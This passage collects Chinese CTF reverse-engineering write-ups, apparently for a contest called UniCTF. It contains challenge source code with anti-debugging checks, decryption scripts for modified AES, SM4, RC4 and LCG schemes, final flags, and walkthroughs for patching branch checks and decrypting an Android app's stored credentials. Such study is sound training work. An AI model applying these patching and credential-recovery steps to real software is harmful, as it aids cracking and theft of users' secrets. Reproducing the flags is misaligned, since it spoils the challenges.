ap.add_argument("binary", nargs="?", default="ezobf.exe")
args = ap.parse_args()
data = Path(args.binary).read_bytes()
image_base, sections = parse_pe64_layout(data)
sbox = read_va(data, image_base, sections, SBOX_VA, 0x100)
ct = read_va(data, image_base, sections, CIPHERTEXT_VA, 0x20)
inv_box = inv_sbox_from(sbox)
m9 = bytes(gf_mul(x, 0x09) for x in range(256))
m11 = bytes(gf_mul(x, 0x0B) for x in range(256))
m13 = bytes(gf_mul(x, 0x0D) for x in range(256))
m14 = bytes(gf_mul(x, 0x0E) for x in range(256))
# master key: 00 01 02 ... 0f
rks = expand_key(sbox, bytes(range(16)))
p0 = decrypt_one(ct[:16], rks, inv_box, m9, m11, m13, m14)
p1 = decrypt_one(ct[16:], rks, inv_box, m9, m11, m13, m14)
plain = pkcs7_unpad(p0 + p1, 16)
try:
print(plain.decode("utf-8"))
except UnicodeDecodeError:
print(plain)
if __name__ == "__main__":
main()原神!启动!
出这题的初衷就是让选手了解il2cpp这个打包方式和基本的逆向方法,解密逻辑也给的不是很难
工具下载:IL2CppDumper-win
打开该软件,依次选择dll文件,元数据文件
生成的文件如下:
打开dump.cs这个C#伪代码,发现了如下内容:
这是很明显的界面代码,记下这里的 isSecretUnlocked的偏移量 0x7C
然后打开dll,把生成的ida_py3.py拖进去,根据反编译得到的C#中的函数,在侧边栏进行搜索,GachaManager:
看这几个函数,明显是有AES加密,我们点DoGachaLogic这个抽卡逻辑函数看看:
对比这个看:
这样就指导逻辑了,a1 + 0x7C对应变量isSecretUnlocked,如果这个值为true,返回的就是钟离,所以我们只需要patch这个地方即可。
但是只patch这里,发现还是得不到正确的flag,我们继续分析剩下的函数,找与a1 + 0x7C这里的判断有关的,发现在showResult函数中,还有一层对这个的判断:
把这两处的jnz改成jz或者jmp都可以,然后patch即可:
得到flag:
当然,除了这个方法,还可以直接分析flag生成的函数,也就是这里的AES加密(但是就有违出这道题的本意了……)
c_polynomial
源码如下
很抱歉改题目的时候有2个限制条件忘改了,导致z3解法会出现多解,其他解法不会有这个问题。
#include <stdio.h> // 包含标准输入输出库
#include <stdlib.h> // 包含标准库函数,如malloc等
#include <string.h> // 包含字符串处理函数,如memcpy
#include <intrin.h> // 注意GCC可能没有这个头文件,需要使用__builtin函数或者自己实现_bittest64
#include <stdint.h>
#include <windows.h>
#include <float.h> // For _control87
#include <fenv.h>
int coeffs[9]; // 定义一个整型数组,用于存储多项式的系数
uint64_t v5 = 0x400C0210000001LL;
unsigned int v12;
typedef struct output { // 定义一个结构体,用于存储输出的flag
int a;
int b;
int c;
int d;
short e; // short类型用于节省空间
short f;
short g;
short h;
short i;
} output;
long total = 0; // 定义一个长整型变量,用于累加计算结果
long power = 1; // 定义一个长整型变量,用于计算x的幂
int result = 0;
// 定义一个字符数组,用于存储XOR加密的密钥
char xorcode[60] = "\xd5\x2a\x00\xd8\xec\xf1\x77\x43\x4d\xc5\xbc\x9c\xab\x3a\x65\xd9\x6b\x1f\x5d\x3a\x61\x9b\x9b\xcc\x39\x2d\xcb\x2a\x1a\xda\xfc\xf6\x65\x1c\x03\x96\xef\x86\xe9\x6b\x3d\x90\x37\x51\x03\x63\x36\xc5\xc3\x8e\x66\x7d";
int main() {
feclearexcept(FE_ALL_EXCEPT);
// 检测是否有浮点异常发生
if (fetestexcept(FE_INVALID | FE_DENORMAL)) {
printf("Floating point exceptions are set, possibly being debugged.\n");
exit(EXIT_FAILURE);
}
if (IsDebuggerPresent()) {
printf("This program is being debugged. Exiting!\n");
exit(1);
}
printf("I'm practicing my neuro math skills. Give me nine integers: "); // 提示用户输入9个整数
scanf("%d %d %d %d %d %d %d %d %d", &coeffs[0], &coeffs[1], &coeffs[2], &coeffs[3], &coeffs[4], &coeffs[5], &coeffs[6], &coeffs[7], &coeffs[8]);
printf("Hmm, let me think");
fflush(stdout);
if (IsDebuggerPresent()) {
printf("This program is being debugged. Exiting!\n");
exit(1);
}
printf(".");
fflush(stdout);
printf(".");
fflush(stdout);
printf(".\n");
// 验证多项式在特定x值下的结果是否正确
for (int i = -60; i < 60; i++) {
total = 0;
power = 1;
for (int x = 0; x < 9; x++) { // 循环遍历系数数组
total += power * coeffs[x]; // 累加当前系数乘以x的幂 coeffs*数值 x的不同幂相加 由x的0次方加到x的8次方
power *= i; // 更新x的幂
result =total;
}
if( i == 114 || i == 514 || (v12 = (unsigned int)(i + 37), v12 <= 54) && _bittest64((const int64_t*)&v5, v12) ) {
if (IsDebuggerPresent()) {
printf("This program is being debugged. Exiting!\n");
exit(1);
} // (x-44)(x-58)(x-5)(x+37)(x-17)(x+9)(x-6)(x+4)多项式性质有一项为0就都为0
if (result != 0) { // 如果在根处结果不为0,则验证失败
printf("Those aren't the right numbers. Try again!\n");
return 1; // 退出程序
}
} else {
if (result == 0) { if (IsDebuggerPresent()) {
printf("This program is being debugged. Exiting!\n");
exit(1);
} // 如果在非根处结果为0,则验证失败
printf("Those aren't the right numbers. Try again!\n");
return 1; // 退出程序
}
}
}
// 如果最高次项系数不为1,则将所有系数除以最高次项系数,进行归一化
if (coeffs[8] != 1) {
for (int i = 0; i < 9; i++) {
coeffs[i] /= coeffs[8];
}
}
if (IsDebuggerPresent()) {
printf("This program is being debugged. Exiting!\n");
exit(1);
}
if (coeffs[7] != -606)
{
printf("WRONG") ;
return 1;}
if (coeffs[6] != 44114)
{
printf("WRONG") ;
return 1;}
// 验证通过,准备输出flag
printf("Correct! Here's the flag: ");
output o; // 创建一个output结构体实例
o.a = coeffs[0]; // 将系数赋值给output结构体的成员
o.b = coeffs[1];
o.c = coeffs[2];
o.d = coeffs[3];
o.e = coeffs[4];
o.f = coeffs[5];
o.g = coeffs[6];
o.h = coeffs[7];
o.i = coeffs[8];
// 使用XOR加密算法对flag进行加密
unsigned char xorbuf[52];
memcpy(xorbuf, (char*)&o, 26); // 将output结构体的前26个字节复制到xorbuf
memcpy(xorbuf+26, (char*)&o, 26); // 将output结构体的后26个字节复制到xorbuf的后26个字节位置
for (int i = 0; i < 52; i++) {
xorbuf[i] ^= xorcode[i]; // 对xorbuf中的每个字节进行XOR加密
printf("%c", xorbuf[i]); // 输出加密后的字符
}
printf("\n"); // 输出换行符
}
c_sm4
源码如下 只有1个魔改点,见第98行
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#define SM4_BLOCK_SIZE 16
#define SM4_ROUNDS 32
/* ====== 标准 SM4 Sbox ====== */
static const uint8_t SM4_SBOX[256] = {
0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05,
0x2b,0x67,0x9a,0x76,0x2a,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99,
0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62,
0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6,
0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8,
0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35,
0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87,
0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e,
0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1,
0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3,
0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f,
0xd5,0xdb,0x37,0x45,0xde,0xfd,0x8e,0x2f,0x03,0xff,0x6a,0x72,0x6d,0x6c,0x5b,0x51,
0x8d,0x1b,0xaf,0x92,0xbb,0xdd,0xbc,0x7f,0x11,0xd9,0x5c,0x41,0x1f,0x10,0x5a,0xd8,
0x0a,0xc1,0x31,0x88,0xa5,0xcd,0x7b,0xbd,0x2d,0x74,0xd0,0x12,0xb8,0xe5,0xb4,0xb0,
0x89,0x69,0x97,0x4a,0x0c,0x96,0x77,0x7e,0x65,0xb9,0xf1,0x09,0xc5,0x6e,0xc6,0x84,
0x18,0xf0,0x7d,0xec,0x3a,0xdc,0x4d,0x20,0x79,0xee,0x5f,0x3e,0xd7,0xcb,0x39,0x48
};
/* ====== FK / CK ====== */
static const uint32_t SM4_FK[4] = {
0xa3b1bac6u, 0x56aa3350u, 0x677d9197u, 0xb27022dcu
};
static const uint32_t SM4_CK[32] = {
0x00070e15u,0x1c232a31u,0x383f464du,0x545b6269u,
0x70777e85u,0x8c939aa1u,0xa8afb6bdu,0xc4cbd2d9u,
0xe0e7eef5u,0xfc030a11u,0x181f262du,0x343b4249u,
0x50575e65u,0x6c737a81u,0x888f969du,0xa4abb2b9u,
0xc0c7ced5u,0xdce3eaf1u,0xf8ff060du,0x141b2229u,
0x30373e45u,0x4c535a61u,0x686f767du,0x848b9299u,
0xa0a7aeb5u,0xbcc3cad1u,0xd8dfe6edu,0xf4fb0209u,
0x10171e25u,0x2c333a41u,0x484f565du,0x646b7279u
};
/* ====== 工具函数(字节序安全)====== */
static uint32_t rotl32(uint32_t x, int n) {
return (x << n) | (x >> (32 - n));
}
static uint32_t load_be32(const uint8_t b[4]) {
return ((uint32_t)b[0] << 24) | ((uint32_t)b[1] << 16) | ((uint32_t)b[2] << 8) | (uint32_t)b[3];
}
static void store_be32(uint8_t b[4], uint32_t v) {
b[0] = (uint8_t)(v >> 24);
b[1] = (uint8_t)(v >> 16);
b[2] = (uint8_t)(v >> 8);
b[3] = (uint8_t)(v);
}
static uint32_t tau(uint32_t a) {
uint8_t x[4];
store_be32(x, a);
x[0] = SM4_SBOX[x[0]];
x[1] = SM4_SBOX[x[1]];
x[2] = SM4_SBOX[x[2]];
x[3] = SM4_SBOX[x[3]];
return load_be32(x);
}
/* 加解密轮函数里的线性变换 L */
static uint32_t L(uint32_t b) {
return b ^ rotl32(b, 2) ^ rotl32(b, 10) ^ rotl32(b, 18) ^ rotl32(b, 24);
}
/* 密钥扩展里的线性变换 L' */
static uint32_t Lp(uint32_t b) {
return b ^ rotl32(b, 13) ^ rotl32(b, 23);
}
static uint32_t T(uint32_t x) { /* 用于加解密 */
return L(tau(x));
}
static uint32_t Tp(uint32_t x) { /* 用于密钥扩展 */
return Lp(tau(x));
}
/* ====== SM4 密钥扩展 ====== */
static void sm4_setkey_enc(uint32_t rk[32], const uint8_t key[16]) {
uint32_t MK[4], K[36];
MK[0] = load_be32(key + 0);
MK[1] = load_be32(key + 4);
MK[2] = load_be32(key + 8);
MK[3] = load_be32(key + 12);
K[0] = MK[0] ^ SM4_FK[0]+1;//这里稍微魔改了一下
K[1] = MK[1] ^ SM4_FK[1]+2;
K[2] = MK[2] ^ SM4_FK[2]+3;
K[3] = MK[3] ^ SM4_FK[3]+4;
for (int i = 0; i < 32; i++) {
uint32_t tmp = K[i+1] ^ K[i+2] ^ K[i+3] ^ SM4_CK[i];
K[i+4] = K[i] ^ Tp(tmp);
rk[i] = K[i+4];
}
}
static void sm4_setkey_dec(uint32_t rk_dec[32], const uint8_t key[16]) {
uint32_t rk_enc[32];
sm4_setkey_enc(rk_enc, key);
for (int i = 0; i < 32; i++) rk_dec[i] = rk_enc[31 - i];
}
/* ====== SM4 单块加/解密(同一个函数,rk不同)====== */
static void sm4_crypt_block(const uint32_t rk[32], const uint8_t in[16], uint8_t out[16]) {
uint32_t X[36];
X[0] = load_be32(in + 0);
X[1] = load_be32(in + 4);
X[2] = load_be32(in + 8);
X[3] = load_be32(in + 12);
for (int i = 0; i < 32; i++) {
uint32_t tmp = X[i+1] ^ X[i+2] ^ X[i+3] ^ rk[i];
X[i+4] = X[i] ^ T(tmp);
}
/* 反序输出 */
store_be32(out + 0, X[35]);
store_be32(out + 4, X[34]);
store_be32(out + 8, X[33]);
store_be32(out + 12, X[32]);
}
/* ====== PKCS#7 padding ====== */
static uint8_t* pkcs7_pad(const uint8_t* in, size_t inlen, size_t* outlen) {
size_t pad = SM4_BLOCK_SIZE - (inlen % SM4_BLOCK_SIZE);
if (pad == 0) pad = SM4_BLOCK_SIZE;
*outlen = inlen + pad;
uint8_t* out = (uint8_t*)malloc(*outlen);
if (!out) return NULL;
memcpy(out, in, inlen);
memset(out + inlen, (int)pad, pad);
return out;
}
static int pkcs7_unpad(uint8_t* buf, size_t* len) {
if (*len == 0 || (*len % SM4_BLOCK_SIZE) != 0) return 0;
uint8_t pad = buf[*len - 1];
if (pad == 0 || pad > SM4_BLOCK_SIZE) return 0;
for (size_t i = 0; i < pad; i++) {
if (buf[*len - 1 - i] != pad) return 0;
}
*len -= pad;
return 1;
}
/* ====== ECB 加/解密 ====== */
static uint8_t* sm4_ecb_encrypt(const uint8_t* plaintext, size_t plen,
const uint8_t key[16], size_t* clen) {
uint32_t rk[32];
sm4_setkey_enc(rk, key);
size_t padded_len = 0;
uint8_t* padded = pkcs7_pad(plaintext, plen, &padded_len);
if (!padded) return NULL;
uint8_t* ct = (uint8_t*)malloc(padded_len);
if (!ct) { free(padded); return NULL; }
for (size_t off = 0; off < padded_len; off += SM4_BLOCK_SIZE) {
sm4_crypt_block(rk, padded + off, ct + off);
}
free(padded);
*clen = padded_len;
return ct;
}
//static uint8_t* sm4_ecb_decrypt(const uint8_t* ciphertext, size_t clen,
// const uint8_t key[16], size_t* plen) {
// if (clen == 0 || (clen % SM4_BLOCK_SIZE) != 0) return NULL;
//
// uint32_t rk[32];
// sm4_setkey_dec(rk, key);
//
// uint8_t* pt = (uint8_t*)malloc(clen);
// if (!pt) return NULL;
//
// for (size_t off = 0; off < clen; off += SM4_BLOCK_SIZE) {
// sm4_crypt_block(rk, ciphertext + off, pt + off);
// }
//
// size_t outlen = clen;
// if (!pkcs7_unpad(pt, &outlen)) { free(pt); return NULL; }
//
// *plen = outlen;
// return pt;
//}
/* ====== 打印 hex ====== */
static void print_hex(const uint8_t* data, size_t len) {
for (size_t i = 0; i < len; i++) printf("%02x", data[i]);
printf("\n");
}
int main(void) {
/* 你可以改成自己想要的 16 字节 key */
const uint8_t key[16] = {
0x01,0x23,0x45,0x67,0x89,0xab,0xcd,0xef,
0xfe,0xdc,0xba,0x98,0x76,0x54,0x32,0x10
};
char input[4096];
printf("Enter a string to encrypt and decrypt: ");
if (!fgets(input, sizeof(input), stdin)) return 1;
/* 去掉末尾换行 */
size_t inlen = strlen(input);
if (inlen > 0 && input[inlen - 1] == '\n') {
input[inlen - 1] = '\0';
inlen--;
}
/* 加密 */
size_t clen = 0;
uint8_t* ct = sm4_ecb_encrypt((const uint8_t*)input, inlen, key, &clen);
if (!ct) {
printf("Encrypt failed.\n");
return 1;
}
printf("Encrypted (Hex): ");
print_hex(ct, clen);
// /* 解密 */
// size_t plen = 0;
// uint8_t* pt = sm4_ecb_decrypt(ct, clen, key, &plen);
// if (!pt) {
// free(ct);
// printf("Decrypt failed (bad padding or wrong key).\n");
// return 1;
// }
//
// printf("Decrypted (Hex): ");
// print_hex(pt, plen);
//
// /* 输出字符串(确保以 \\0 结尾,避免乱码) */
// char* outstr = (char*)malloc(plen + 1);
// if (!outstr) { free(ct); free(pt); return 1; }
// memcpy(outstr, pt, plen);
// outstr[plen] = '\0';
//
// printf("Decrypted (String): %s\n", outstr);
//// free(outstr);
// free(pt);
free(ct);
return 0;
}
是人类吗?
这题考察的是wasm逆向和简单的生物特征算法
首先我们使用wasm2c工具,把得到的.o文件拖入ida,然后找到这个验证函数:
然后开始分析,可以发现这些变量都是浮点数,我们着重看do这个部分:
可以看到,就是计算了x轴加速度的平方和和y轴加速度的平方和,最后v21保存总路程。
中间这样的代码,就是在把浮点数特征值转换为整数,一共转换了四个,即v17、v14、v15、v16,然后进行拼接,最终得到的v12是一个64位整数:
高32位 = [v6的高16位 | v13] 低32位 = [v7的高16位 | v8] 其中v13、v6、v7、v8分别来自四个浮点运算结果
然后是核心的验证代码.长度是47:
这是很典型的LCG算法,v18读取数据,v33 = a * v33 + b,即 next = a * prev + b,然后异或解密写回内存。现在我们需要找到那个密文,就可以解决问题,因为这里使用的工具是 wasm2c ,wasm2c 生成的代码通常会在文件末尾有一个数据初始化部分,我们去找这个init_memories函数:
这样就看到1024处的数据,注意取的长度是47
得到了算法和密文,再结合LCG算法的特性,只要知道明文的前几位就能反推v33的高八位,题目的flag格式是 UniCTF{},那么我们就找到了突破点,爆破这四个种子即可,注意这里不能直接去爆那个64位的seed,因为太大了,我们要分成四部分拼接来爆,并且生物特征值并不会很大,我们给每个特征值设置0-200的区间然后爆破即可:
Seed = High_Part(由 v6, v13 决定) + Low_Part (由 v7, v8 决定)
LCG公式分解为:State = (High_Part << 32 | Low_Part) * A + CState = (High_Part * A * 2^32) + (Low_Part * A) + C
我们先遍历 Low_Part (v7, v8),计算所有可能的 (Low_Part * A)的值,并根据其高 8 位建立哈希表,这样的话,当我们遍历 High_Part 时,只需要计算出它“缺多少”才能凑出目标密文的高 8 位,然后直接去查表,而不需要内层循环再遍历 v7, v8
exp如下:
import sys
ciphertext = [
0xB8, 0x31, 0x64, 0x0E, 0x54, 0xCF, 0x65, 0x02, 0x4B, 0x73,
0xDD, 0x57, 0xE6, 0xCD, 0x45, 0x63, 0x63, 0x62, 0x2C, 0x56,
0xE1, 0x89, 0x86, 0xAC, 0xC3, 0x32, 0x0A, 0x07, 0xF3, 0x77,
0x66, 0xB1, 0xB7, 0xAD, 0x32, 0xF2, 0xD5, 0x64, 0xD3, 0xCB,
0x5C, 0x45, 0x99, 0xC2, 0x89, 0x92
]
TARGET_PREFIX = b"UniCTF{"
MULTIPLIER = 6364136223846793005
INCREMENT = 1442695040888963407
MASK64 = 0xFFFFFFFFFFFFFFFF
MAX_RANGE = 201 # 参数范围
def solve_instant():
# 计算第一个字节的目标 Key
# Key = Cipher ^ Plain
target_k0 = ciphertext[0] ^ TARGET_PREFIX[0]
# 预计算 Low Part 查表字典
lookup_table = {}
for v7 in range(MAX_RANGE):
for v8 in range(MAX_RANGE):
# 构造 Low Part
low_seed = (v7 << 16) | v8
term_low = (low_seed * MULTIPLIER) & MASK64
top_byte = (term_low >> 56)
if top_byte not in lookup_table:
lookup_table[top_byte] = []
lookup_table[top_byte].append((v7, v8, term_low))
for v6 in range(MAX_RANGE):
# 预计算一部分 High
high_seed_base = (v6 << 48)
for v13 in range(MAX_RANGE):
high_seed = high_seed_base | (v13 << 32)
term_high = (high_seed * MULTIPLIER + INCREMENT) & MASK64
high_top = term_high >> 56
needed_low_top = (target_k0 - high_top) & 0xFF
buckets_to_check = [needed_low_top, (needed_low_top - 1) & 0xFF]
for b_key in buckets_to_check:
if b_key in lookup_table:
for (cand_v7, cand_v8, term_low) in lookup_table[b_key]:
current_state = (term_high + term_low) & MASK64
if ((current_state >> 56) & 0xFF) == target_k0:
# 如果第 1 个字节匹配,重构完整 seed 进行深度校验
seed = high_seed | (cand_v7 << 16) | cand_v8
if verify_full_prefix(seed):
print_success(seed, v6, v13, cand_v7, cand_v8)
return
print("[-] 未找到解,请确认密文或范围是否正确。")
def verify_full_prefix(seed):
# 校验完整的前缀 UniCTF{
state = seed
for i in range(len(TARGET_PREFIX)):
state = (state * MULTIPLIER + INCREMENT) & MASK64
k = (state >> 56) & 0xFF
if (k ^ ciphertext[i]) != TARGET_PREFIX[i]:
return False
return True
def print_success(seed, v6, v13, v7, v8):
print(f"[+] 爆破成功! FOUND SEED: {hex(seed)}")
print("="*50)
print(f"[+] v6 (Time) : {v6}")
print(f"[+] v13 (Speed): {v13}")
print(f"[+] v7 (Y-Jit): {v7}")
print(f"[+] v8 (X-Jit): {v8}")
print("="*50)
decrypt_flag(seed)
def decrypt_flag(seed):
state = seed
res = []
for c in ciphertext:
state = (state * MULTIPLIER + INCREMENT) & MASK64
k = (state >> 56) & 0xFF
res.append(c ^ k)
try:
print(f"[Result] {bytes(res).decode()}")
except:
print(res)
if __name__ == "__main__":
solve_instant()所以最终的flag是:
20+15+88+42=165
拼接:
UniCTF{Hum4n_Err0r_1s_The_Tru3_P4ssw0rd_8x92a}165
md5值:
32f9b4c728f42db8ecd6d631cc950495
flag:
UniCTF{32f9b4c728f42db8ecd6d631cc950495}这题的exp比较复杂,可适当借助ai
catPwd
如原神启动先dump恢复函数名
加密逻辑的入口在LoginController__OnLoginButtonClick里,用户名和密码加密后存PlayerPrefs里了。
查官方文档得知android下PlayerPrefs是存在
/data/data/com.CACX.EVEchaos/shared_prefs/com.CACX.EVEchaos.v2.playerprefs.xml
解压bin其实就是上述文件 代码可以看出存储内容是走了aes256类的encrypt
在StringLiteral_8028处能看到加密的密钥。
加密是AES-CBC和HMAC-SHA256结合在一起,最后把IV,HMAC,密文共同保存在结果中。
AES加密的密钥在Aes256__Encrypt_30806016函数中有所设置,用的是256长度的成员变量_key作为密钥。
加密模式1也能从C#文档中查到是CBC模式。
其中_key是在Aes256构造函数中赋值的,由System_Security_Cryptography_Rfc2898DeriveBytes密钥派生而来,其中masterKey为用户输入的密钥,Salt在Aes256的类初始化函数中赋值。参数50000指迭代次数,0指默认哈希函数SHA1。
Aes256___cctor,找到Field__PrivateImplementationDetails__1DB2A1F9902B35F8F880EF1692CE9947A193D5A698D8F568BDA721658ED4C58B,在 dump.cs 文件中对字符串 1DB2A1F9... 进行搜索,
找到internalstatic readonly <PrivateImplementationDetails>.__StaticArrayInitTypeSize=321DB2A1F9902B35F8F880EF1692CE9947A193D5A698D8F568BDA721658ED4C58B /*Metadataoffsfset 0x572D90*/;真正的 32 字节盐值数据存储在 global-metadata.dat 文件中,且起始位置就在 0x572D90
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
编写C#程序成功算出正确的密钥。
using System;
using System.Security.Cryptography;
using System.Text;
class Program
{
static void Main()
{
// 输入参数
string password = "aeskey1234567890";
byte[] salt = { 0xbf, 0xeb, 0x1e, 0x56, 0xfb, 0xcd, 0x97, 0x3b, 0xb2, 0x19, 0x02, 0x24, 0x30, 0xa5, 0x78, 0x43, 0x00, 0x3d, 0x56, 0x44, 0xd2, 0x1e, 0x62, 0xb9, 0xd4, 0xf1, 0x80, 0xe7, 0xe6, 0xc3, 0x39, 0x41 };
int iterations = 50000;
int keyLength = 32; // 32 bytes = 256-bit
// PBKDF2
using (var pbkdf2 = new Rfc2898DeriveBytes(
password,
salt,
iterations,
HashAlgorithmName.SHA1
))
{
byte[] key = pbkdf2.GetBytes(keyLength);
Console.WriteLine("Derived key:");
Console.WriteLine(BitConverter.ToString(key).Replace("-", " "));
}
}
}最终用CyberChef来AES解密获得flag,其中密文URL Decode,Base64解码后前16个字节是IV,后面是密文,解密之后前32字节是HMAC,后面是加密的信息。
r_zip
源码如下
ascii使用工具为https://patorjk.com/software/taag/#p=display&f=Graffiti&t=Type%20Something
use std::env;
use std::fs;
use std::io;
const WINDOW_SIZE: usize = 256;
const MIN_MATCH: usize = 3;
const MAX_MATCH: usize = 15;
fn find_match(input: &[u8], pos: usize) -> (usize, usize) {
let mut best_len = 0usize;
let mut best_dist = 0usize;
let start = if pos > WINDOW_SIZE { pos - WINDOW_SIZE } else { 0 };
for i in start..pos {
let mut match_len = 0usize;
while match_len < MAX_MATCH
&& pos + match_len < input.len()
&& i + match_len < input.len()
&& input[i + match_len] == input[pos + match_len]
{
match_len += 1;
}
if match_len >= MIN_MATCH && match_len > best_len {
best_len = match_len;
best_dist = pos - i;
}
}
(best_len, best_dist)
}
fn compress_bytes(input: &[u8]) -> Vec<u8> {
let mut output = Vec::with_capacity(input.len() * 2);
let mut pos = 0usize;
while pos < input.len() {
let (match_len, distance) = find_match(input, pos);
if match_len >= MIN_MATCH {
let b0 = 0x80u8 | ((distance >> 4) as u8);
let b1 = (((distance & 0x0F) << 4) as u8) | (match_len as u8);
output.push(b0);
output.push(b1);
pos += match_len;
} else {
output.push(input[pos]);
pos += 1;
}
}
output
}
fn usage() {
eprintln!("用法: compress <input> <output>\n示例: compress a.txt a.z");
}
fn main() -> io::Result<()> {
let args: Vec<String> = env::args().collect();
if args.len() != 3 {
usage();
std::process::exit(1);
}
let input_file = &args[1];
let output_file = &args[2];
let input_data = fs::read(input_file)?;
let compressed = compress_bytes(&input_data);
println!("原始大小: {} 字节", input_data.len());
println!("压缩后大小: {} 字节", compressed.len());
if !input_data.is_empty() {
let ratio = (1.0 - (compressed.len() as f64) / (input_data.len() as f64)) * 100.0;
println!("压缩率: {:.1}%", ratio);
}
fs::write(output_file, compressed)?;
println!("压缩完成: {}", output_file);
Ok(())
}
r_png
源码如下
use std::env;
use std::fs;
use std::io;
fn is_4digit_key(s: &str) -> bool {
s.len() == 4 && s.bytes().all(|b| b.is_ascii_digit())
}
fn rc4_crypt(data: &mut [u8], key: &[u8]) {
let mut s = [0u8; 256];
for (i, v) in s.iter_mut().enumerate() {
*v = i as u8;
}
// KSA
let mut j: u8 = 0;
for i in 0..256usize {
let si = s[i];
let kb = key[i % key.len()];
j = j.wrapping_add(si).wrapping_add(kb);
s.swap(i, j as usize);
}
// PRGA
let mut i: u8 = 0;
j = 0;
for byte in data.iter_mut() {
i = i.wrapping_add(1);
j = j.wrapping_add(s[i as usize]);
s.swap(i as usize, j as usize);
let k = s[(s[i as usize].wrapping_add(s[j as usize])) as usize];
let k2 = k.wrapping_add(69); // 325 mod 256 = 69(与 C++ u8 截断一致)
*byte ^= k2;
}
}
fn main() -> io::Result<()> {
let args: Vec<String> = env::args().collect();
if args.len() != 3 {
eprintln!("用法: {} <input_file> <4digit_key>", args.get(0).unwrap_or(&"enc".to_string()));
eprintln!("示例: {} a.png 0123", args.get(0).unwrap_or(&"enc".to_string()));
std::process::exit(1);
}
let in_path = &args[1];
let key_str = &args[2];
if !is_4digit_key(key_str) {
eprintln!("[!] key 必须是 4 位数字,比如 0123");
std::process::exit(1);
}
let mut data = fs::read(in_path).map_err(|e| {
eprintln!("[!] 读取失败: {} ({})", in_path, e);
e
})?;
rc4_crypt(&mut data, key_str.as_bytes());
let out_path = format!("{}.rc4", in_path);
fs::write(&out_path, &data).map_err(|e| {
eprintln!("[!] 写入失败: {} ({})", out_path, e);
e
})?;
println!("[+] 加密完成: {}", out_path);
Ok(())
}
d4yDAY_UP
defold编译,网上很多解包脚本用不了但是其实解包脚本官方github仓里就有
https://github.com/defold/defold/blob/dev/scripts/unpack_arc.py 解包出来的关键代码在文件luac中 https://github.com/ALiwoto/arcdEx 项目可以将luac变成luao64文件,即luajit文件 再用https://github.com/marsinator358/luajit-decompiler-v2即可还原lua源码
解密逻辑在flag_validator.lua中main传入了密文,将输入加密比对
写python脚本由于精度差异其实不太好写,实际上把lua脚本加个decrypt就直接用了
local function hex_to_string(hex)
local res = ""
for i = 1, #hex, 2 do
local code = tonumber(hex:sub(i, i+1), 16)
if code then res = res .. string.char(code) end
end
return res
end
-- 解密主逻辑
function flag_validator.decrypt(ciphertext_hex)
local username = "Unictf"
local full_data = hex_to_string(ciphertext_hex)
-- 剥离最后8字节的Tag
local ciphertext = full_data:sub(1, #full_data - 8)
local tag = full_data:sub(#full_data - 7)
-- 重新推导初始状态
local state = derive_state(username)
-- 流密码加密的逆过程依然是异或
local plaintext = stream_xor(state, ciphertext)
return plaintext
end我懒得配lua环境了,直接插在defold工程文件里print运行了
Ez
使用 Die 查壳,发现为 UPX 壳,使用 UPX 脱壳工具进行脱壳:
脱壳后再次使用 Die ,发现使用了 Ollvm 对代码进行混淆:
main 函数结结构图:
明显为 控制流平坦化 FLA ,并且也进行了字符串加密混淆处理:
使用 D-810 去除混淆,后动调发现 sub_404200 函数进行了 base64 换表操作,动调得到换后得表:
经分析大体流程为父进程读取输入,交给子进程进行处理,最后将结果返回给父进程:
父进程:
子进程:
接着分析 sub_4052E0 函数:
sub_403CA0 为 换表base64 + 逐字节异或0x5B
得到Key:KKKeeeyyy!!!
接着进行 密钥扩展 和 加密操作 :
经分析为 魔改RC4 :
魔改点为 sub_404820 这个交换函数:
通过比较函数找到密文:
经分析在进行 RC4 前对输入进行了一次编码,sub_4036D0 函数内容为 逐字节异或0x5B + 换表后的base64 :
最后梳理一下解密 flag 流程为:魔改RC4 + 换表base64 + 逐字节异或0x5B
EXP:
def rc4_init(key: bytes) -> list:
s = list(range(256))
k = [key[i % len(key)] for i in range(256)]
j = 0
for i in range(256):
j = (j + s[i] + k[i]) % 256
s[i] = s[j]
s[j] = s[i]
return s
def rc4_crypt(s: list, text: bytes) -> bytes:
i = 0
j = 0
result = bytearray()
for byte in text:
i = (i + 1) % 256
j = (j + s[i]) % 256
s[i] = s[j]
s[j] = s[i]
t = (s[i] + s[j]) % 256
result.append(byte ^ s[t])
return bytes(result)
enc = [0xF4, 0xFA, 0xFB, 0xBD, 0x84, 0x73, 0xFC, 0xE8, 0x8A, 0xCD, 0x63, 0x84, 0xD1, 0xB7, 0x56, 0x5, 0x86, 0x8E, 0x8E,
0x5, 0xC, 0x17, 0xDF, 0x94, 0xD9, 0x0, 0x3E, 0xEC, 0x21, 0xDA, 0x15, 0xF8, 0x9B, 0xAA, 0x8D, 0x31, 0xEC, 0xAA,
0x94, 0x98, 0x3F, 0xBC, 0xA4, 0xFA, 0x8A, 0x3, 0x2E, 0xF4]
key = "KKKeeeyyy!!!"
